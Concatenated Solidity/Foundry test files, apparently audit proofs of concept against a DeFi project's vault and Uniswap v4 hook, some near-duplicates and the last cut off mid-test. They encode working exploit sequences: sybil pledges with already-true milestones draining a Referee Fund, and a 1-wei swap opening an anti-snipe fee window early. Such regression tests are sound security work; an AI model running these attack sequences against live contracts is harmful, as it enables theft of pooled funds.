// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {KeptVault} from "src/KeptVault.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {Questions} from "src/libraries/Questions.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract Tok is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

/// Stand-in for the live IMD Intake: charges `price`, sends it to its treasury, delivers later.
contract Intake is IIntake {
    uint256 public price = 0.5 ether;
    address public immutable treasury;
    uint256 public n;

    constructor(address t) {
        treasury = t;
    }

    function priceOf(bytes32, address) external view returns (uint256) {
        return price;
    }

    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)
        external
        payable
        returns (bytes32)
    {
        IERC20(asset).transferFrom(msg.sender, treasury, amount);
        return keccak256(abi.encode(++n));
    }

    function deliver(address to, bytes32 id, OracleAttestation.Attestation calldata a, bytes calldata sig) external {
        KeptVault(to).onOracleResult(id, a, sig);
    }
}

/// The Referee Fund (every KeptHook fee) can be emptied by any account at zero net cost: a "team"
/// whose milestone is already true when the pledge is created (ContractDeployed on any existing
/// contract) buys a check, the honest oracle answers kept, and the full price comes back out of the
/// Referee Fund into the pledge budget, which withdrawBudget returns to the creator.
contract RefereeDrainTest is Test {
    bytes32 constant ACTION = 0x6f7261636c652e72657175657374406f7261636c652d31000000000000000000;
    uint256 constant KEY = 0xA11CE;
    KeptVault vault;
    Intake intake;
    Tok imd;
    Tok junk;
    address hookStandIn = makeAddr("KeptHook");
    address attacker = makeAddr("attacker");
    address treasury = makeAddr("intakeTreasury");

    function setUp() public {
        vm.warp(1_791_000_000);
        imd = new Tok();
        junk = new Tok();
        intake = new Intake(treasury);
        vault = new KeptVault(makeAddr("owner"), address(intake), address(imd), ACTION, vm.addr(KEY), 9, 7);
        // 100 IMD of hook fees swept into the Referee Fund.
        imd.mint(hookStandIn, 100 ether);
        vm.startPrank(hookStandIn);
        imd.approve(address(vault), 100 ether);
        vault.fundReferee(100 ether);
        vm.stopPrank();
        imd.mint(attacker, 0.5 ether);
        junk.mint(attacker, 8);
    }

    function _attest(uint256 id, uint8 i, bytes32 rid) internal view returns (OracleAttestation.Attestation memory a) {
        (,,,,,,,, uint64 askedAt) = vault.milestone(id, i);
        a.requestId = rid;
        a.chainId = 4663;
        a.answerType = OracleAttestation.ANSWER_BOOL;
        a.answer = abi.encode(true);
        a.panelSize = 9;
        a.quorum = 7;
        a.agreed = 9;
        a.issuedAt = askedAt;
        a.expiresAt = askedAt + 1 days;
    }

    function test_refereeFundCannotBeDrainedByAlreadyTrueMilestones() public {
        vm.startPrank(attacker);
        imd.approve(address(vault), type(uint256).max);
        junk.approve(address(vault), type(uint256).max);
        KeptVault.MilestoneInput[] memory ms = new KeptVault.MilestoneInput[](8);
        for (uint256 i; i < 8; ++i) {
            ms[i].kind = Questions.Kind.ContractDeployed;
            ms[i].deadline = uint64(block.timestamp + 1 hours);
            ms[i].amount = 1; // one wei of a worthless token
            ms[i].chainId = 4663;
            ms[i].target = address(vault); // already deployed: the answer is true before the pledge exists
            ms[i].title = "x";
        }
        uint256 id = vault.createPledge(IERC20(address(junk)), attacker, "x", ms, 0.5 ether);
        vm.stopPrank();

        for (uint8 i; i < 8; ++i) {
            vm.prank(attacker);
            bytes32 rid = vault.check(id, i);
            OracleAttestation.Attestation memory a = _attest(id, i, rid);
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, vault.attestationDigest(a));
            intake.deliver(address(vault), rid, a, abi.encodePacked(r, s, v)); // honest "kept"
        }
        for (uint8 i; i < 8; ++i) vault.settle(id, i);
        vault.withdrawBudget(id);

        // Attacker ends where it started (0.5 IMD, 8 wei junk back); 4 IMD of hook fees left the fund.
        assertEq(imd.balanceOf(attacker), 0.5 ether);
        assertEq(vault.refereeFund(), 100 ether, "Referee Fund paid rebates to a self-dealing pledge");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {KeptToken} from "src/KeptToken.sol";
import {KeptHook} from "src/KeptHook.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("IMD", "IMD") {
        _mint(msg.sender, 1e30);
    }
}

contract ProofVault {
    function fundReferee(uint256 amount) external {
        IERC20(msg.sender).balanceOf(address(this));
        amount;
    }
}

contract ProofRouter is IUnlockCallback {
    IPoolManager immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta d) {
        d = abi.decode(manager.unlock(abi.encode(msg.sender, key, p)), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (address payer, PoolKey memory key, SwapParams memory p) = abi.decode(data, (address, PoolKey, SwapParams));
        BalanceDelta d = manager.swap(key, p, "");
        _settle(key.currency0, d.amount0(), payer);
        _settle(key.currency1, d.amount1(), payer);
        return abi.encode(d);
    }

    function _settle(Currency c, int128 delta, address payer) private {
        if (delta < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(delta)));
            manager.settle();
        } else if (delta > 0) {
            manager.take(c, payer, uint128(delta));
        }
    }
}

/// The opening window must not start before the pool holds liquidity anyone can trade against.
/// A 1-wei exact-input IMD swap against an empty pool is charged the whole wei and starts it.
contract OneWeiOpensClockProof is Test {
    function test_oneWeiSwapOnEmptyPoolMustNotStartOpeningWindow() public {
        vm.warp(10_000);
        IPoolManager manager = IPoolManager(address(new PoolManager(address(this))));
        KeptToken kept = new KeptToken();
        ProofIMD imd = new ProofIMD();
        address at = address(uint160(0x4b4550540000000000000000000000000000) << 14 | 0x20cc);
        deployCodeTo(
            "KeptHook.sol:KeptHook",
            abi.encode(manager, address(imd), address(kept), address(new ProofVault()), address(this)),
            at
        );
        KeptHook hook = KeptHook(at);
        bool imd0 = address(imd) < address(kept);
        PoolKey memory key = PoolKey(
            Currency.wrap(imd0 ? address(imd) : address(kept)),
            Currency.wrap(imd0 ? address(kept) : address(imd)),
            12500,
            60,
            IHooks(at)
        );
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));
        ProofRouter router = new ProofRouter(manager);
        imd.approve(address(router), type(uint256).max);

        // No liquidity has been added. Buy KEPT with exactly 1 wei of IMD.
        SwapParams memory p = SwapParams(imd0, -1, TickMath.getSqrtPriceAtTick(imd0 ? int24(-1200) : int24(1200)));
        router.swap(key, p);

        // Expected: no trade against liquidity happened, so no fee and the window is still closed.
        assertEq(hook.collected(), 0, "fee charged on a swap that moved nothing through the pool");
        assertEq(hook.openedAt(), 0, "opening window started on an empty pool");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IERC20Minimal} from "v4-core/src/interfaces/external/IERC20Minimal.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {KeptToken} from "src/KeptToken.sol";
import {KeptHook} from "src/KeptHook.sol";

contract ScratchERC20 {
    string public constant name = "IMD";
    string public constant symbol = "IMD";
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Minimal router: swaps or adds liquidity, then settles exactly what the manager reports.
contract ScratchRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(p))), (BalanceDelta));
    }

    function seed(PoolKey memory key, int24 lower, int24 upper, int256 liquidity) external {
        ModifyLiquidityParams memory p = ModifyLiquidityParams(lower, upper, liquidity, bytes32(0));
        manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(p)));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "manager only");
        (uint8 action, address payer, PoolKey memory key, bytes memory payload) =
            abi.decode(data, (uint8, address, PoolKey, bytes));
        BalanceDelta delta;
        if (action == 0) {
            delta = manager.swap(key, abi.decode(payload, (SwapParams)), "");
        } else {
            (delta,) = manager.modifyLiquidity(key, abi.decode(payload, (ModifyLiquidityParams)), "");
        }
        _settle(key.currency0, delta.amount0(), payer);
        _settle(key.currency1, delta.amount1(), payer);
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 delta, address payer) private {
        if (delta < 0) {
            manager.sync(c);
            require(
                IERC20Minimal(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(delta))),
                "transfer"
            );
            manager.settle();
        } else if (delta > 0) {
            manager.take(c, payer, uint128(delta));
        }
    }
}

/// @title A 1-wei IMD swap on the empty pool starts the anti-snipe window before liquidity exists.
/// @notice Fails on the current KeptHook: `openedAt` is set by a swap the pool did not execute
/// (amountToSwap == 0), so the 20% opening fee decays to 1% before the factory seeds liquidity.
contract EmptyPoolOpensWindowTest is Test {
    uint160 internal constant ONE = 79228162514264337593543950336;
    uint256 internal constant T0 = 10_000;

    IPoolManager internal manager;
    KeptToken internal kept;
    ScratchERC20 internal imd;
    KeptHook internal hook;
    ScratchRouter internal router;
    PoolKey internal key;
    address internal attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(T0);
        manager = IPoolManager(address(new PoolManager(address(this))));
        kept = new KeptToken();
        imd = new ScratchERC20();
        address at = address(uint160(0x5c7a7c480000000000000000000000000000) << 14 | uint160(0x20cc));
        deployCodeTo(
            "KeptHook.sol:KeptHook",
            abi.encode(manager, address(imd), address(kept), address(0xBEEF), address(this)),
            at
        );
        hook = KeptHook(at);
        bool imd0 = address(imd) < address(kept);
        key = PoolKey(
            Currency.wrap(imd0 ? address(imd) : address(kept)),
            Currency.wrap(imd0 ? address(kept) : address(imd)),
            12500,
            60,
            IHooks(at)
        );
        // The factory (this test) initializes the pool. Liquidity is seeded in a later transaction,
        // the sequence README.md and VERIFICATION.md describe ("liquidity seeded after initialization").
        manager.initialize(key, ONE);
        router = new ScratchRouter(manager);
        imd.mint(address(this), 1e30);
        imd.approve(address(router), type(uint256).max);
        kept.approve(address(router), type(uint256).max);
        imd.mint(attacker, 1);
        vm.prank(attacker);
        imd.approve(address(router), type(uint256).max);
    }

    function test_oneWeiSwapOnEmptyPoolMustNotOpenTheWindow() public {
        assertEq(hook.openedAt(), 0);
        assertEq(hook.feeNow(), 2000);

        // Attacker: exact-in 1 wei of IMD against a pool with zero liquidity, right after initialize.
        SwapParams memory p;
        p.zeroForOne = key.currency0 == Currency.wrap(address(imd));
        p.amountSpecified = -1;
        p.sqrtPriceLimitX96 = TickMath.getSqrtPriceAtTick(p.zeroForOne ? int24(-1200) : int24(1200));
        vm.prank(attacker);
        router.swap(key, p);

        // The pool executed no swap (amountToSwap was 0), yet the hook charged 1 wei and started the clock.
        assertEq(imd.balanceOf(attacker), 0, "the attacker's whole wei was taken as fee");
        assertEq(hook.openedAt(), 0, "a swap that moves no IMD through the pool must not open the window");

        // Thirty minutes later the factory seeds liquidity: the opening fee should still be 20%.
        vm.warp(T0 + 1800);
        router.seed(key, -600, 600, 1e27);
        assertEq(hook.feeNow(), 2000, "the first real trade must pay the 20% opening fee");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {KeptVault} from "src/KeptVault.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {Questions} from "src/libraries/Questions.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract DrainERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Behaves like the IMD Intake: pulls exactly the price, later delivers the signed verdict.
contract DrainIntake is IIntake {
    uint256 public constant PRICE = 0.5 ether;
    address public immutable treasury;
    uint256 public nonce;
    mapping(bytes32 => Callback) public callbacks;

    constructor(address t) {
        treasury = t;
    }

    function priceOf(bytes32, address) external pure returns (uint256) {
        return PRICE;
    }

    function request(bytes32, bytes calldata, Callback calldata cb, address asset, uint256 amount)
        external
        payable
        returns (bytes32 id)
    {
        require(amount >= PRICE, "PriceNotMet");
        IERC20(asset).transferFrom(msg.sender, treasury, amount);
        id = keccak256(abi.encode(address(this), ++nonce));
        callbacks[id] = cb;
    }

    function deliver(bytes32 id, OracleAttestation.Attestation calldata a, bytes calldata sig) external {
        Callback memory c = callbacks[id];
        (bool ok, bytes memory reason) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, id, a, sig));
        if (!ok) {
            assembly ("memory-safe") {
                revert(add(reason, 32), mload(reason))
            }
        }
    }
}

/// @title Anyone drains the Referee Fund to the oracle at zero net cost with sybil pledges.
/// @notice The fund the KEPT hook feeds is rebated to any pledge whose milestone is verified kept.
/// A pledge on a worthless self-minted token with a trivially-true milestone (ContractDeployed at an
/// address that already has code) is kept by construction; the rebate lands in the attacker's budget
/// and withdrawBudget returns it. Net for the attacker: 0 IMD; Referee Fund: -price per milestone.
contract RefereeFundSybilDrainTest is Test {
    bytes32 internal constant ACTION = 0x6f7261636c652e72657175657374406f7261636c652d31000000000000000000;
    uint64 internal constant T0 = 1_791_000_000;

    KeptVault internal vault;
    DrainIntake internal intake;
    DrainERC20 internal imd;
    DrainERC20 internal junk;
    uint256 internal signerKey = 0xA11CE;
    address internal signer;
    address internal oracleTreasury = makeAddr("oracleTreasury");
    address internal hookLike = makeAddr("hook");
    address internal attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(T0);
        signer = vm.addr(signerKey);
        imd = new DrainERC20();
        junk = new DrainERC20();
        intake = new DrainIntake(oracleTreasury);
        vault = new KeptVault(makeAddr("owner"), address(intake), address(imd), ACTION, signer, 9, 7);

        // The hook's swept fees: 100 IMD sitting in the Referee Fund.
        imd.mint(hookLike, 100 ether);
        vm.startPrank(hookLike);
        imd.approve(address(vault), type(uint256).max);
        vault.fundReferee(100 ether);
        vm.stopPrank();

        // The attacker owns nothing but gas money and a float equal to one check price.
        imd.mint(attacker, 0.5 ether);
        junk.mint(attacker, 8);
        vm.startPrank(attacker);
        imd.approve(address(vault), type(uint256).max);
        junk.approve(address(vault), type(uint256).max);
        vm.stopPrank();
    }

    function digestOf(OracleAttestation.Attestation calldata a) external view returns (bytes32) {
        return vault.attestationDigest(a);
    }

    function _keptVerdict(uint256 id, uint8 index, bytes32 requestId) internal {
        (,,,,,,,, uint64 askedAt) = vault.milestone(id, index);
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode(id, index));
        a.chainId = 4663;
        a.questionHash = keccak256("question");
        a.answerType = OracleAttestation.ANSWER_BOOL;
        a.answer = abi.encode(true);
        a.fromBlock = 1;
        a.toBlock = 2;
        a.blockHash = keccak256("block");
        a.panelJobId = keccak256("panel");
        a.panelSize = 9;
        a.quorum = 7;
        a.agreed = 9;
        a.issuedAt = askedAt;
        a.expiresAt = askedAt + 1 days;
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, this.digestOf(a));
        intake.deliver(requestId, a, abi.encodePacked(r, s, v));
    }

    function test_sybilPledgeDrainsRefereeFundAtZeroNetCost() public {
        uint256 fundBefore = vault.refereeFund();
        uint256 attackerBefore = imd.balanceOf(attacker);
        assertEq(fundBefore, 100 ether);

        // One pledge, eight milestones, each 'ContractDeployed at the vault itself' (already true),
        // locked token: 1 wei of a worthless self-minted ERC-20 each, beneficiary = attacker.
        KeptVault.MilestoneInput[] memory ms = new KeptVault.MilestoneInput[](8);
        for (uint256 i; i < 8; ++i) {
            ms[i].kind = Questions.Kind.ContractDeployed;
            ms[i].deadline = uint64(block.timestamp + 1 hours);
            ms[i].amount = 1;
            ms[i].chainId = 4663;
            ms[i].target = address(vault);
            ms[i].title = "already true";
        }
        vm.prank(attacker);
        uint256 id = vault.createPledge(IERC20(address(junk)), attacker, "sybil", ms, 0.5 ether);

        // Each milestone: buy a check with the float, get 'kept', the Referee Fund rebates the price
        // into the pledge budget, which funds the next check. The float is reused eight times.
        for (uint8 i; i < 8; ++i) {
            vm.prank(attacker);
            bytes32 rid = vault.check(id, i);
            _keptVerdict(id, i, rid);
            vault.settle(id, i);
        }
        vault.withdrawBudget(id);

        uint256 drained = fundBefore - vault.refereeFund();
        assertEq(imd.balanceOf(attacker), attackerBefore, "attacker ends with the float it started with");
        assertEq(imd.balanceOf(oracleTreasury), 8 * 0.5 ether, "the oracle was paid 8 checks");
        assertEq(drained, 8 * 0.5 ether, "the Referee Fund paid for all of them");
        // Expected behaviour of a fund meant to rebate checks of real milestones: a pledge that locks
        // nothing of value behind a question that is true at creation should not be able to drain it.
        assertEq(drained, 0, "sybil pledges must not drain the Referee Fund");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IERC20Minimal} from "v4-core/src/interfaces/external/IERC20Minimal.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {KeptToken} from "src/KeptToken.sol";
import {KeptHook} from "src/KeptHook.sol";

contract ScratchERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Minimal router: swaps or adds liquidity, then settles exactly what the manager reports.
contract ScratchRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(p))), (BalanceDelta));
    }

    function seed(PoolKey memory key, int24 lower, int24 upper, int256 liquidity) external {
        ModifyLiquidityParams memory p = ModifyLiquidityParams(lower, upper, liquidity, bytes32(0));
        manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(p)));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "manager only");
        (uint8 action, address payer, PoolKey memory key, bytes memory payload) =
            abi.decode(data, (uint8, address, PoolKey, bytes));
        BalanceDelta delta;
        if (action == 0) {
            delta = manager.swap(key, abi.decode(payload, (SwapParams)), "");
        } else {
            (delta,) = manager.modifyLiquidity(key, abi.decode(payload, (ModifyLiquidityParams)), "");
        }
        _settle(key.currency0, delta.amount0(), payer);
        _settle(key.currency1, delta.amount1(), payer);
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 delta, address payer) private {
        if (delta < 0) {
            manager.sync(c);
            require(
                IERC20Minimal(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(delta))),
                "transfer"
            );
            manager.settle();
        } else if (delta > 0) {
            manager.take(c, payer, uint128(delta));
        }
    }
}

/// @title A 1-wei exact-input IMD swap on the empty pool starts the 30-minute opening window.
/// @notice Fails on the current KeptHook: beforeSwap quotes 0, SpecifiedAmount.filled returns 0,
/// `fill == budget - reserve` (0 == 0) charges the whole 1-wei reserve, and _accrue sets openedAt
/// although the PoolManager swapped nothing (amountToSwap == 0). Passes once a swap that moves no
/// IMD through the pool no longer opens the window (e.g. no fee / no openedAt when fill == 0).
contract EmptyPoolOpensWindowTest is Test {
    using StateLibrary for IPoolManager;

    uint160 internal constant ONE = 79228162514264337593543950336;
    uint256 internal constant T0 = 10_000;

    IPoolManager internal manager;
    KeptToken internal kept;
    ScratchERC20 internal imd;
    KeptHook internal hook;
    ScratchRouter internal router;
    PoolKey internal key;
    address internal attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(T0);
        manager = IPoolManager(address(new PoolManager(address(this))));
        kept = new KeptToken();
        imd = new ScratchERC20();
        address at = address(uint160(0x5c7a7c480000000000000000000000000000) << 14 | uint160(0x20cc));
        deployCodeTo(
            "KeptHook.sol:KeptHook",
            abi.encode(manager, address(imd), address(kept), address(0xBEEF), address(this)),
            at
        );
        hook = KeptHook(at);
        bool imd0 = address(imd) < address(kept);
        key = PoolKey(
            Currency.wrap(imd0 ? address(imd) : address(kept)),
            Currency.wrap(imd0 ? address(kept) : address(imd)),
            12500,
            60,
            IHooks(at)
        );
        // The factory (this test) initializes the pool; liquidity is seeded in a later transaction.
        manager.initialize(key, ONE);
        router = new ScratchRouter(manager);
        imd.mint(address(this), 1e30);
        imd.approve(address(router), type(uint256).max);
        kept.approve(address(router), type(uint256).max);
        imd.mint(attacker, 1);
        vm.prank(attacker);
        imd.approve(address(router), type(uint256).max);
    }

    function test_oneWeiSwapOnEmptyPoolMustNotOpenTheWindow() public {
        assertEq(hook.openedAt(), 0);
        assertEq(hook.feeNow(), 2000);
        assertEq(manager.getLiquidity(key.toId()), 0, "pool is empty");

        // Attacker: exact-in 1 wei of IMD against the empty pool, right after initialize.
        SwapParams memory p;
        p.zeroForOne = key.currency0 == Currency.wrap(address(imd));
        p.amountSpecified = -1;
        p.sqrtPriceLimitX96 = TickMath.getSqrtPriceAtTick(p.zeroForOne ? int24(-1200) : int24(1200));
        vm.prank(attacker);
        router.swap(key, p);

        // No IMD moved through the pool, so the window must still be closed.
        assertEq(hook.openedAt(), 0, "a swap that moves no IMD through the pool must not open the window");

        // Thirty minutes later the factory seeds liquidity: the first real trade must still pay 20%.
        vm.warp(T0 + 1800);
        router.seed(key, -600, 600, 1e27);
        assertEq(hook.feeNow(), 2000, "the first real trade must pay the 20% opening fee");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {KeptVault} from "src/KeptVault.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {Questions} from "src/libraries/Questions.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract DrainERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Behaves like the IMD Intake: pulls exactly the price, later delivers the signed verdict.
contract DrainIntake is IIntake {
    uint256 public constant PRICE = 0.5 ether;
    address public immutable treasury;
    uint256 public nonce;
    mapping(bytes32 => Callback) public callbacks;

    constructor(address t) {
        treasury = t;
    }

    function priceOf(bytes32, address) external pure returns (uint256) {
        return PRICE;
    }

    function request(bytes32, bytes calldata, Callback calldata cb, address asset, uint256 amount)
        external
        payable
        returns (bytes32 id)
    {
        require(amount >= PRICE, "PriceNotMet");
        IERC20(asset).transferFrom(msg.sender, treasury, amount);
        id = keccak256(abi.encode(address(this), ++nonce));
        callbacks[id] = cb;
    }

    function deliver(bytes32 id, OracleAttestation.Attestation calldata a, bytes calldata sig) external {
        Callback memory c = callbacks[id];
        (bool ok, bytes memory reason) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, id, a, sig));
        if (!ok) {
            assembly ("memory-safe") {
                revert(add(reason, 32), mload(reason))
            }
        }
    }
}

/// @title Anyone moves the Referee Fund (the hook's only fee sink) to the oracle at zero net cost.
/// @notice A pledge on 1 wei of a self-minted token, with a ContractDeployed milestone that is
/// already true at creation, is honestly answered kept; the rebate pays the check out of the
/// Referee Fund and withdrawBudget hands it back to the creator. Fails on the current code
/// (refereeFund 100 -> 99.5 IMD); passes once such a pledge no longer draws a rebate.
contract RefereeFundSybilDrainTest is Test {
    bytes32 internal constant ACTION = 0x6f7261636c652e72657175657374406f7261636c652d31000000000000000000;
    uint64 internal constant T0 = 1_791_000_000;

    KeptVault internal vault;
    DrainIntake internal intake;
    DrainERC20 internal imd;
    DrainERC20 internal junk;
    uint256 internal signerKey = 0xA11CE;
    address internal signer;
    address internal oracleTreasury = makeAddr("oracleTreasury");
    address internal hookLike = makeAddr("hook");
    address internal attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(T0);
        signer = vm.addr(signerKey);
        imd = new DrainERC20();
        junk = new DrainERC20();
        intake = new DrainIntake(oracleTreasury);
        vault = new KeptVault(makeAddr("owner"), address(intake), address(imd), ACTION, signer, 9, 7);

        // The hook's swept fees: 100 IMD in the Referee Fund.
        imd.mint(hookLike, 100 ether);
        vm.startPrank(hookLike);
        imd.approve(address(vault), type(uint256).max);
        vault.fundReferee(100 ether);
        vm.stopPrank();

        // The attacker holds one check price of IMD and one wei of a worthless token.
        imd.mint(attacker, 0.5 ether);
        junk.mint(attacker, 1);
        vm.startPrank(attacker);
        imd.approve(address(vault), type(uint256).max);
        junk.approve(address(vault), type(uint256).max);
        vm.stopPrank();
    }

    function digestOf(OracleAttestation.Attestation calldata a) external view returns (bytes32) {
        return vault.attestationDigest(a);
    }

    function _keptVerdict(uint256 id, uint8 index, bytes32 requestId) internal {
        (,,,,,,,, uint64 askedAt) = vault.milestone(id, index);
        OracleAttestation.Attestation memory a;
        a.requestId = keccak256(abi.encode(id, index));
        a.chainId = 4663;
        a.questionHash = keccak256("question");
        a.answerType = OracleAttestation.ANSWER_BOOL;
        a.answer = abi.encode(true);
        a.fromBlock = 1;
        a.toBlock = 2;
        a.blockHash = keccak256("block");
        a.panelJobId = keccak256("panel");
        a.panelSize = 9;
        a.quorum = 7;
        a.agreed = 9;
        a.issuedAt = askedAt;
        a.expiresAt = askedAt + 1 days;
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, this.digestOf(a));
        intake.deliver(requestId, a, abi.encodePacked(r, s, v));
    }

    function test_alreadyTrueJunkPledgeMustNotDrawARebate() public {
        assertEq(vault.refereeFund(), 100 ether);

        KeptVault.MilestoneInput[] memory ms = new KeptVault.MilestoneInput[](1);
        ms[0].kind = Questions.Kind.ContractDeployed;
        ms[0].deadline = uint64(block.timestamp + 1 hours);
        ms[0].amount = 1;
